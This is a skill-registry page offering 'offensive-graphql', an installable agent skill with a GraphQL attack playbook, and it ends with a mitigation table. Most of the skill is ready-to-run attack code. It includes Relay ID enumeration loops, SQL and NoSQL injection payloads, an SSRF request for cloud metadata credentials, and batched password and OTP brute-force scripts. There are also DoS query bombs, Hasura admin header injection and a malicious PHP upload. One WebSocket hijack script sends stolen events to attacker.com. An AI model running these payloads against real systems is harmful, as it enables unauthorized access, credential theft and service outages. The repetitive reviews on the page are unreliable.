Agent skill / SnailSploit
### offensive-graphql
Core file
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionoffensive-graphqlExecute the skills CLI command in your project's root directory to begin installation:
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-graphqlFetches offensive-graphql from SnailSploit/Claude-Red and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate offensive-graphql. Access via /offensive-graphqlin your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Copy the command for your terminal
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-graphqlWorks with
| name | offensive-graphql |
| description | "Offensive methodology for attacking GraphQL APIs during penetration tests and bug bounty engagements. Covers the full attack lifecycle: endpoint discovery, introspection abuse and blind schema reconstruction when introspection is disabled, authentication and authorization bypass through Relay node IDs and nested object traversal, injection via variables and directives, query batching for brute force and OTP bypass, denial of service through depth bombs and alias amplification, WebSocket subscription hijacking, information disclosure through verbose errors and field suggestion oracles, and file upload abuse via the multipart GraphQL specification. Includes tool-specific guidance for InQL, graphql-cop, CrackQL, BatchQL, Altair, GraphQL Voyager, and clairvoyance. Trigger on: GraphQL, graphql, introspection query, batching attack, query depth, GraphQL injection, GraphQL IDOR, field suggestion, GraphQL auth bypass, GraphQL DoS, GraphQL security, graphql-cop, InQL, CrackQL, BatchQL, Relay node, alias amplification, subscription abuse, multipart upload GraphQL, schema enumeration, __schema, __type." |
GraphQL consolidates an entire API surface behind a single endpoint, making it a high-value target during web application assessments. Unlike REST, where each route maps to a discrete resource, a GraphQL schema exposes every type, field, mutation, and subscription in one queryable structure. Attackers who obtain or reconstruct that schema gain a complete map of the application's data model before writing a single exploit. This skill walks you through each phase of a GraphQL engagement with concrete queries, tool invocations, and chaining patterns.
Probe common paths with a minimal query body. A __typename response confirms a live GraphQL endpoint.
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' | jq .
Paths to probe: /graphql, /graphiql, /v1/graphql, /v2/graphql, /api/graphql, /graphql/console, /playground, /explorer, /query. Some servers accept GET requests:
curl -s "https://target.com/graphql?query=\{__typename\}"
Fingerprint the implementation to determine default behaviors (introspection state, error format, batching syntax):
python3 graphw00f.py -t https://target.com/graphql
Run graphql-cop for a one-pass configuration audit -- it reports introspection status, field suggestion leaks, GET-based query acceptance (CSRF risk), and unrestricted batching:
python3 graphql-cop.py -t https://target.com/graphql
When introspection is enabled, pull the entire schema in one request. This is the single most valuable recon step.
query FullIntrospection {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
kind name description
fields(includeDeprecated: true) {
name args { name type { ...T } defaultValue } type { ...T }
}
inputFields { name type { ...T } defaultValue }
interfaces { ...T }
enumValues(includeDeprecated: true) { name description }
possibleTypes { ...T }
}
directives { name description locations args { name type { ...T } } }
}
}
fragment T on __Type {
kind name ofType { kind name ofType { kind name ofType { kind name } } }
}
Pipe the result into GraphQL Voyager for visual exploration, or load InQL in Burp Suite -- it parses the schema and generates individual queries for every field and mutation.
When full introspection is disabled but __type lookups still work (a common misconfiguration where the server blocks __schema but forgets __type):
query { __type(name: "User") { name fields { name type { name kind } } } }
Field suggestion oracle. Most engines return "Did you mean..." when you query a non-existent field. Submit plausible names and harvest suggestions:
query { __typename aaa }
{
"errors": [{
"message": "Cannot query field \"aaa\" on type \"Query\". Did you mean \"user\", \"users\", \"admin\"?"
}]
}
Automate this with clairvoyance, which iterates a wordlist, collects suggestions, and assembles a reconstructed schema:
python3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt -o schema.json
Apollo Sandbox. If the target runs Apollo Server v3+, navigate to the endpoint in a browser. Apollo Sandbox performs introspection client-side even when the production toggle is off. Check Apollo Studio explorer if the server is registered there.
Client-side bundles. Search JS files for query strings, fragment definitions, and type names:
curl -s https://target.com/static/js/main.js | grep -oP '(query|mutation|fragment)\s+\w+'
Authorization bugs are pervasive because developers must implement field-level checks manually in each resolver. A single missing check on a nested field can expose the entire object graph.
Relay exposes a global node interface that resolves any object by an opaque base64-encoded ID (Type:numericID):
echo -n "VXNlcjoxMjM=" | base64 -d # Output: User:123
Forge IDs for other users and query through the node interface:
query {
node(id: "VXNlcjoxMjQ=") {
... on User { id email role ssn }
}
}
Enumerate sequentially:
for i in $(seq 1 100); do
id=$(echo -n "User:$i" | base64)
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" \
-d "{\"query\":\"{ node(id: \\\"$id\\\") { ... on User { id email role } } }\"}"
done
Authorization enforced on the top-level query often does not carry to nested relationships. Access your own Order, then check whether the customer field traverses to another user's data:
query {
myOrders {
id
customer { id email paymentMethods { cardNumber expirationDate } }
}
}
The myOrders resolver filters by your ID, but the customer resolver on Order may eagerly load the associated user without ownership checks.
Decode opaque cursors (often base64 of an offset) and manipulate the value. If the cursor decodes to cursor:999, set it to cursor:0 to access records from the beginning:
query {
users(first: 10, after: "Y3Vyc29yOjA=") {
edges { node { id email } cursor }
pageInfo { hasNextPage endCursor }
}
}
Test every state-changing mutation with no token, low-privilege tokens, and cross-tenant tokens:
mutation { updateUser(id: "OTHER_USER_ID", input: { role: "ADMIN" }) { id role } }
mutation { deleteAccount(userId: "OTHER_USER_ID") { success } }
Variables and arguments flow directly into resolver functions. String concatenation in resolvers creates classic injection vectors.
query GetUser($name: String!) { user(name: $name) { id email } }
{"name": "admin' OR 1=1 --"}
Escalate with UNION-based injection:
{"name": "' UNION SELECT username, password FROM admin_users --"}
For MongoDB-backed resolvers:
{"filter": {"username": {"$ne": ""}, "password": {"$ne": ""}}}
Time-based detection:
query { search(filter: "{\"$where\": \"sleep(5000)\"}") { results } }
Directive flooding -- attaching thousands of @include(if: true) directives to a single field -- crashes parsers (CVE-2024-47614 in async-graphql):
query { __typename @include(if: true) @include(if: true) @include(if: true) ... }
Generate a payload with 10,000 directives programmatically. Custom @auth or @constraint directives may also accept arguments you can manipulate to override server-side behavior.
If a mutation accepts a URL argument (webhooks, avatars, imports), test for SSRF:
mutation { setAvatar(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") { success } }
GraphQL servers commonly accept arrays of operations in a single HTTP request. Back-end rate limiters often count HTTP requests, not individual operations within a batch, enabling powerful bypass attacks.
[
{"query": "mutation { login(user: \"admin\", pass: \"password1\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"password2\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"password3\") { token } }"}
]
A single HTTP request carries hundreds of login attempts. The rate limiter sees one request.
Batch all possible 4-digit OTP values in chunks:
import requests
ops = [{"query": f'mutation {{ verifyOTP(code: "{str(c).zfill(4)}") {{ success token }} }}'}
for c in range(10000)]
for i in range(0, len(ops), 500):
r = requests.post("https://target.com/graphql", json=ops[i:i+500],
headers={"Authorization": "Bearer <session_token>"})
for idx, res in enumerate(r.json()):
if res.get("data", {}).get("verifyOTP", {}).get("success"):
print(f"Valid OTP: {str(i + idx).zfill(4)}")
Some servers reject array batching but allow alias-based batching within a single query:
query {
a1: login(user: "admin", pass: "pass1") { token }
a2: login(user: "admin", pass: "pass2") { token }
a3: login(user: "admin", pass: "pass3") { token }
}
Automate with BatchQL and CrackQL:
python3 batch-ql.py -e https://target.com/graphql \
-q 'mutation { login(user: "admin", pass: "FUZZ") { token } }' -w passwords.txt
python3 CrackQL.py -t https://target.com/graphql -q query.graphql -i inputs.csv --batch-size 500
GraphQL's flexible query language is inherently susceptible to resource exhaustion unless the server enforces strict cost controls.
Exploit circular relationships. If User has friends returning [User], nest indefinitely -- eight levels deep on a user with 100 friends each triggers 100^8 resolver calls:
query DepthBomb {
users {
friends { friends { friends { friends { friends { friends {
id email
} } } } } }
}
}
Request the same expensive field thousands of times using aliases. Each alias invokes the resolver independently:
query {
a1: expensiveReport(year: 2024) { data }
a2: expensiveReport(year: 2024) { data }
a3: expensiveReport(year: 2024) { data }
# ... repeat 1000 times
}
Older implementations may not detect circular references, causing infinite recursion:
fragment A on User { friends { ...B } }
fragment B on User { friends { ...A } }
query { user(id: 1) { ...A } }
If the server supports @defer and @stream, attach them to expensive subtrees to hold connections open and multiply compute:
query {
users(first: 1000) @stream(initialCount: 1) {
id
orders @defer { total items @stream(initialCount: 1) { name price } }
}
}
Subscriptions run over WebSocket using graphql-ws or the older subscriptions-transport-ws protocol. These long-lived connections present a distinct attack surface.
Connect without authentication in the connection_init payload, then subscribe:
{"type": "connection_init", "payload": {}}
{"id": "1", "type": "subscribe", "payload": {"query": "subscription { newOrder { id customer { email } total } }"}}
If the server does not validate connection_init, you receive real-time events for all new orders.
WebSocket connections persist after the initial handshake. If the server validates the JWT only during connection_init, a token that expires mid-session remains valid for the connection's lifetime. Test by connecting with a short-lived token, waiting for expiry, then sending a new subscription.
If the WebSocket endpoint relies on cookies and does not validate the Origin header, hijack it from a malicious page:
<script>
var ws = new WebSocket("wss://target.com/graphql", "graphql-ws");
ws.onopen = function() {
ws.send(JSON.stringify({type:"connection_init",payload:{}}));
ws.send(JSON.stringify({id:"1",type:"subscribe",
payload:{query:"subscription { sensitiveEvent { data } }"}}));
};
ws.onmessage = function(e) { fetch("https://attacker.com/c?d="+btoa(e.data)); };
</script>
GraphQL engines often return implementation details in errors. Send type-mismatched arguments to trigger stack traces:
{
"errors": [{
"message": "invalid input syntax for type integer: \"abc\"",
"extensions": {
"exception": {
"stacktrace": [
"Error: invalid input syntax for type integer: \"abc\"",
" at /app/node_modules/pg/lib/client.js:526:17",
" at /app/src/resolvers/user.js:42:12"
]
}
}
}]
}
This reveals the database driver (PostgreSQL via pg), file paths, and line numbers.
Even with introspection disabled, iterate through prefixes to reconstruct the schema via "Did you mean" responses:
Query field "a" -> "admin", "account"
Query field "b" -> "billing", "blog"
Query field "c" -> "customer", "config", "cart"
Hasura -- test x-hasura-role and x-hasura-user-id header injection when the admin secret is not enforced:
curl -s -X POST https://target.com/v1/graphql \
-H "Content-Type: application/json" -H "x-hasura-role: admin" -H "x-hasura-user-id: 1" \
-d '{"query": "{ users { id email password_hash } }"}'
Apollo Federation -- query the _service field for the full SDL of a subgraph:
query { _service { sdl } }
The multipart request specification enables file uploads through mutations. Test for path traversal, unrestricted types, and oversized uploads:
curl -s -X POST https://target.com/graphql \
-F operations='{"query":"mutation($file: Upload!) { uploadFile(file: $file) { url } }","variables":{"file":null}}' \
-F map='{"0":["variables.file"]}' \
-F 0=@malicious.php
Attack vectors: path traversal via manipulated map JSON paths, content-type trust (upload .php/.jsp and check for magic byte validation), multi-gigabyte uploads for size limit testing, and predictable temp file paths that may be web-accessible before processing.
| Attack Category | Detection / Prevention |
|---|---|
| Introspection abuse | Disable in production (introspection: false). Monitor for __schema and __type in query logs. |
| Field suggestion oracle | Disable suggestions (Apollo: custom plugin to strip; Yoga: maskedErrors). |
| IDOR via node IDs | Enforce ownership checks in every resolver. Use UUIDs over sequential IDs. |
| Nested auth gaps | Schema-level authorization directives (@auth, @hasRole). Checks at every resolver, not just top-level. |
| SQL / NoSQL injection | Parameterized queries exclusively. Never concatenate user input. |
| Batching brute force | Limit batch size (max 5 operations). Rate-limit by operation count, not HTTP request count. |
| Alias amplification | Alias count limits. Query cost analysis (graphql-query-complexity, GraphQL Armor). |
| Depth bomb | Max query depth 7-10 (graphql-depth-limit, GraphQL Armor). |
| Subscription hijack | Validate auth on every connection_init, re-validate tokens periodically, enforce Origin checks. |
| Verbose errors | Generic error messages in production. Strip stack traces and paths. |
| File upload abuse | Validate by magic bytes, enforce size limits, store outside web root, re-encode images. |
| CSRF | Require Content-Type: application/json. Reject GET-based mutations. Validate Origin. |
Key hardening tools: GraphQL Armor (depth, alias, cost, character limits for Apollo/Yoga/Envelop), persisted queries (allowlist known operations, reject ad-hoc queries via APQ with signature enforcement), and WAF rules that parse JSON bodies and inspect the query field rather than just URL parameters.
RECON
Endpoint discovery curl POST /graphql, /v1/graphql, /api/graphql with {__typename}
Fingerprint graphw00f -t <url>
Introspection dump Full __schema query via Altair or InQL
Config audit graphql-cop -t <url>
Visualize schema Introspection JSON into GraphQL Voyager
BLIND SCHEMA RECOVERY
Field suggestions Query invalid fields, collect "Did you mean" responses
Automated recovery clairvoyance -t <url> -w wordlist.txt
Client bundles grep -oP '(query|mutation|fragment)\s+\w+' main.js
Apollo sandbox Navigate to endpoint in browser
AUTH TESTING
No-auth access Replay every query/mutation without Authorization header
Horizontal IDOR Decode Relay node IDs, substitute other user IDs
Vertical escalation Test admin mutations with low-privilege tokens
Nested traversal Follow relationships to reach unauthorized objects
Cursor manipulation Decode Relay cursors, modify offset values
INJECTION
SQLi via variables {"name": "admin' OR 1=1 --"}
NoSQL injection {"filter": {"$ne": ""}}
SSRF via URL args Point URL fields at 169.254.169.254
Directive flooding 10,000 @include(if: true) on a single field
BATCHING
Array batching [{"query":"mutation{login(...)}"}, ...]
Alias batching a1: login(...) a2: login(...) ...
OTP exhaustion Batch all 4-6 digit codes in chunks of 500
Tools CrackQL, BatchQL
DoS
Depth bomb Nest circular relationships 8+ levels
Alias amplification 1000+ aliases on an expensive resolver
Fragment cycle Circular fragment spreads (A -> B -> A)
Incremental delivery @defer/@stream on expensive subtrees
SUBSCRIPTIONS
No-auth subscribe connection_init with empty payload
Token expiry test Connect, wait for JWT expiry, send new subscription
CSWSH Cross-site WebSocket hijack via malicious page
FILE UPLOAD
Multipart spec -F operations=... -F map=... -F 0=@file
Path traversal Manipulate map JSON paths
Type bypass Upload executable with benign Content-Type
INFO DISCLOSURE
Verbose errors Type-mismatched arguments, observe stack traces
Federation SDL { _service { sdl } }
Hasura headers x-hasura-role: admin without admin secret
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
sickn33/antigravity-awesome-skills
sickn33/antigravity-awesome-skills
whyashthakker/beam-cli
whyashthakker/beam-cli
whyashthakker/beam-cli
emilkowalski/skills
offensive-graphql has been reliable in day-to-day use. Documentation quality is above average for community skills.
Registry listing for offensive-graphql matched our evaluation — installs cleanly and behaves as described in the markdown.
Useful defaults in offensive-graphql — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
offensive-graphql reduced setup friction for our internal harness; good balance of opinion and flexibility.
offensive-graphql is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
offensive-graphql reduced setup friction for our internal harness; good balance of opinion and flexibility.
offensive-graphql fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
We added offensive-graphql from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
Keeps context tight: offensive-graphql is the kind of skill you can hand to a new teammate without a long onboarding doc.
Registry listing for offensive-graphql matched our evaluation — installs cleanly and behaves as described in the markdown.
showing 1-10 of 44